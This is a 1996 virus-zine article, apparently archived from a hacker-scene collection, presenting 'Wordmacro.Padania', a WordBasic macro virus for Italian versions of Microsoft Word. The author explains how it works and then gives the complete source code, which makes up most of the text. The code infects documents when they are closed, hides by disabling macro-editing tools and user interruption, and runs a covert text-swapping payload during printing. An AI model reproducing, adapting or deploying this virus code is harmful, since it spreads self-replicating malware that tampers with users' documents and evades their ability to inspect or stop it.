home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / XINE-1.ZIP / XINE-1.023 < prev   
Text File  |  1996-10-25  |  10KB  |  224 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 023 |
  4.                                         \-----------------------------/
  5.  
  6.                           ___________________
  7.                          < Wordmacro.Padania >
  8.                            <    b0z0/iKx   >
  9.                             ^^^^^^^^^^^^^^^
  10.  
  11.    Well, this is a very simple macro virus written in Wordbasic. I wrote
  12. this for fun (as all the other viriis :) ) and to give an example for the
  13. readers of the article how macro viruses works. It will work on italian
  14. versions of Word for Windows. Well, why italian? Just because i have never
  15. seen a source for a macro virus in this language. 
  16.  So now some tech specs about it:
  17.    - Infacts this macros:
  18.         * AutoOpen, AutoExec     (to get power)
  19.         * FileChiudi, ChiudiDoc (to replicate)
  20.         * FileStampaPredef, FileStampa (to strike! ]8) ) 
  21.         * FileExit (to cover the changes)
  22.         * FileModelli, StrumMacro (to disable macro editing/reading)
  23.    - Infects when the user close a file. The file will be infected when
  24. the user will close the document using the Close action in File menu and
  25. will also infect if a user closes the document doubleclicking on the top
  26. left corner of the wind0ze window.
  27.    - Disables all the tools that are used to edit/change macros.
  28.    - Isn't interuptable like a lot of other macro viruses :) 
  29.    - Full check if the document that we are going to infect is a .DOC or
  30. .DOT to prevent strange changes :)
  31.    - Funny payload :)
  32.  This is my first virus with a payload. Infact i generally don't care to
  33. write destructive payloads or something like. The payload will be randomly
  34. activated sometimes when the user prints a document (with the "normal" or
  35. with the fast print method). The probability that the payload is activated
  36. is of 1:25 for fast prints and of 1:31 on normal prints. When activated
  37. the routine will change all the words 'italia' in the text with 'Padania',
  38. case doesn't matter, but only entire words will be changed. This will be
  39. done totally trasparently: infact the routine will put a bookmark to
  40. remember where the user was in the document, then will rewind to start,
  41. scan and replace the words. At the end of the print (succesfully or not)
  42. the routine will take power again, reput the old text and move again the
  43. pointer on the text to the original location. Of course when all this will
  44. be done also the screen updating will be disabled, so on the screen
  45. nothing will appear :)
  46.  Well, don't look at macro names and variables (expecially if you know
  47. italian :) ), i just was very bored when writing in the middle of August
  48. this virus and i just put some casual names :)
  49.  Anyway the strange names will make the virus to be less noticeable.
  50. Infact instead of moving as FileExit or something that may seem dangerous,
  51. they will go around with quite funny names :) The only serious macroname
  52. will be AutoOpen... well it can't be changed ;)
  53.  
  54.  well, here comes the source code...
  55.  
  56. ............_________---------^^^^^^^^^^^^---------_________............
  57.  
  58. MacroName: AutoOpen      'this will be executed at the document opening
  59.  
  60. Sub MAIN
  61. DisableInput 1           'disable the interruption of the execution
  62. IsInstalled = 0             'installation check
  63. If ContaMacro(0) > 0 Then
  64.   For conta = 1 To ContaMacro(0)
  65.    If NomeMacro$(conta, 0) = "AutoOpen" Then  'search for it
  66.         IsInstalled = 1                  'yeah, it is already here
  67.    End If
  68.   Next conta
  69. End If
  70.  
  71. If IsInstalled = 0 Then     'if not installed we will copy our macros
  72.   CopiaMacro NomeFinestra$() + ":AutoOpen", "Generale:AutoOpen",1
  73.   CopiaMacro NomeFinestra$() + ":AutoOpen", "Generale:AutoExec",1    
  74.   CopiaMacro NomeFinestra$() + ":Panza", "Generale:FileChiudi",1
  75.   CopiaMacro NomeFinestra$() + ":BiPanza", "Generale:FileStampaPredef",1
  76.   CopiaMacro NomeFinestra$() + ":TriPanza", "Generale:ChiudiDoc",1
  77.   CopiaMacro NomeFinestra$() + ":Uscita", "Generale:FileEsci",1
  78.   CopiaMacro NomeFinestra$() + ":Ranma", "Generale:FileStampa",1
  79.   CopiaMacro NomeFinestra$() + ":Nomacro", "Generale:StrumMacro",1
  80.   CopiaMacro NomeFinestra$() + ":Nomacro", "Generale:FileModelli",1
  81. EndIf
  82. End Sub
  83.  
  84. ............_________---------^^^^^^^^^^^^---------_________............
  85.  
  86. MacroName: BiPanza      'this will go instead of the FileStampaPredef
  87.                         'FileStampaPredef is the english fast print button
  88. Sub MAIN
  89. DisableInput 1
  90. ScreenUpdating 0        'dont update the screen
  91. xepmi= Int(Rnd() * (25 - 1) + 1)   'put a random value in xepmi between
  92.                                    '1 and 25
  93. if xepmi=15 then         'if 15 then our payload will be activated    
  94.  ModificaSegnalibro .Nome = "Trux", .Aggiungi 'this put the bookmark
  95.  InizioDocumento                              'go at the start
  96.  ModificaSostituisci .Trova = "italia", .Sostituisci = "Padania", 
  97.     .SoloParoleIntere = 1, .SostituisciTutto On Error Goto Tardi
  98. End If                    'complete our mission
  99.  FileStampaPredef       'print the document
  100. Tardi:
  101. If xepmi=15 then        'reput the old words
  102.   ModificaSostituisci .Trova = "Padania", .Sostituisci = "italia", 
  103.   .SoloParoleIntere = 1, .SostituisciTutto      'reput old stuff
  104.   If SegnalibroEsistente("Trux") = - 1 Then     'it the bookmark exist
  105.     ModificaSegnalibro .Nome = "Trux", .VaiA    'go to it and then delete
  106.     ModificaSegnalibro .Nome = "Trux", .Elimina 'it
  107.   End If
  108. End If
  109. ScreenUpdating 1                                'reenable screen update
  110. End Sub
  111.  
  112. ............_________---------^^^^^^^^^^^^---------_________............
  113.  
  114. MacroName: Nomacro      'this will be put to prevent macro reading or
  115.                         'editing
  116. Sub MAIN
  117. DisableInput 1
  118. 'hehe, just here to bypass the macro selection
  119. End Sub
  120.  
  121. ............_________---------^^^^^^^^^^^^---------_________............
  122.  
  123. MacroName: Panza        'this will go instead of the FileChiudi
  124.                         'FileChiudi is the english FileClose
  125. Sub MAIN
  126. DisableInput 1
  127. infetta = 0
  128. puzzone$ = NomeFinestra$()              'get current name
  129. Our$ = Mid$(puzzone$, Len(puzzone$) - 3)
  130. If ((Our$ = ".DOC") Or (Our$ = ".DOT")) Then
  131.         Infetta = 1             'check if it is a DOC or DOT
  132. End If
  133. ' if it is a DOC or DOT and it isn't a macro window we will infect it
  134. If ((IsMacro(0) = 0) And (Infetta = 1)) Then    
  135.   ScreenUpdating 0
  136.   CopiaMacro "Generale:AutoOpen", NomeFinestra$() + ":AutoOpen",1
  137.   CopiaMacro "Generale:FileChiudi", NomeFinestra$() + ":Panza",1
  138.   CopiaMacro "Generale:FileStampaPredef", NomeFinestra$() + ":BiPanza",1
  139.   CopiaMacro "Generale:ChiudiDoc", NomeFinestra$() + ":TriPanza",1
  140.   CopiaMacro "Generale:FileEsci", NomeFinestra$() + ":Uscita",1
  141.   CopiaMacro "Generale:FileStampa", NomeFinestra$() + ":Ranma",1
  142.   CopiaMacro "Generale:StrumMacro", NomeFinestra$() + ":Nomacro",1
  143.   FileSalvaConNome .Formato = 1
  144. End If
  145. On error Goto gusarji
  146. FileChiudi                             'close it!
  147. gusarji:
  148. ScreenUpdating 1
  149. End Sub
  150.  
  151. ............_________---------^^^^^^^^^^^^---------_________............
  152.  
  153. MacroName: Ranma       'will go instead of FileStampa which is FilePrint
  154.  
  155. Sub MAIN
  156. DisableInput 1
  157. Dim dlg As FileStampa
  158. On Error Goto Dopo
  159. GetCurValues dlg
  160. Dialog dlg
  161. ScreenUpdating 0
  162. xepmit= Int(Rnd() * (31 - 1) + 1)   'put a random value in xepmi between
  163.                                     '1 and 31
  164. if xepmit=15 then        'if 15 then our payload will be activated    
  165.   ModificaSegnalibro .Nome = "Trucciolo", .Aggiungi
  166.   InizioDocumento
  167.   ModificaSostituisci .Trova = "italia", .Sostituisci = "Padania", 
  168.   .SoloParoleIntere = 1, .SostituisciTutto
  169. End If
  170. FileStampa dlg
  171. if xepmit=15 then
  172.   ModificaSostituisci .Trova = "Padania", .Sostituisci = "italia", 
  173.   .SoloParoleIntere = 1, .SostituisciTutto
  174.   If SegnalibroEsistente("Trucciolo") = - 1 Then
  175.     ModificaSegnalibro .Nome = "Trucciolo", .VaiA
  176.     ModificaSegnalibro .Nome = "Trucciolo", .Elimina
  177.   End If
  178. End If
  179. Dopo:
  180. ScreenUpdating 1
  181. End Sub
  182.  
  183. ............_________---------^^^^^^^^^^^^---------_________............
  184.  
  185. MacroName: TriPanza     'this will be set as the ChiudiDoc macro that
  186.                         'is executed when the user closes a Document
  187.                         'window doubleclicking the top-left button
  188. Sub MAIN
  189. DisableInput 1
  190. infetta = 0
  191. puzzone$ = NomeFinestra$()           'get name of the file
  192. Our$ = Mid$(puzzone$, Len(puzzone$) - 3)
  193. If ((Our$ = ".DOC") Or (Our$ = ".DOT")) Then
  194.         Infetta = 1             'be sure that it is an infectable
  195. End If                                  'item
  196. If ((IsMacro(0) = 0) And (Infetta = 1)) Then
  197.    ScreenUpdating 0
  198.   CopiaMacro "Generale:AutoOpen", NomeFinestra$() + ":AutoOpen",1
  199.   CopiaMacro "Generale:FileChiudi", NomeFinestra$() + ":Panza",1
  200.   CopiaMacro "Generale:FileStampaPredef", NomeFinestra$() + ":BiPanza",1
  201.   CopiaMacro "Generale:ChiudiDoc", NomeFinestra$() + ":TriPanza",1
  202.   CopiaMacro "Generale:FileEsci", NomeFinestra$() + ":Uscita",1
  203.   CopiaMacro "Generale:FileStampa", NomeFinestra$() + ":Ranma",1
  204.   CopiaMacro "Generale:StrumMacro", NomeFinestra$() + ":Nomacro",1
  205.   FileSalvaConNome .Formato = 1
  206. End If
  207. ChiudiDoc                               'call the old function
  208. ScreenUpdating 1                        'reenable updating
  209. End Sub
  210.  
  211. ............_________---------^^^^^^^^^^^^---------_________............
  212.  
  213. MacroName: Uscita     'will go instead of the FileEsci which is FileExit
  214.  
  215. Sub MAIN
  216. DisableInput 1
  217. StrumOpzioniSalva .SalvataggioNormalDot = 0 'enable fast save of normal.dot
  218. StrumOpzioniSalva .SalvaVeloce = 1     'enable fast save for all the docs
  219. FileEsci    'exit the file
  220. End Sub
  221.  
  222. ............_________---------^^^^^^^^^^^^---------_________............
  223.  
  224.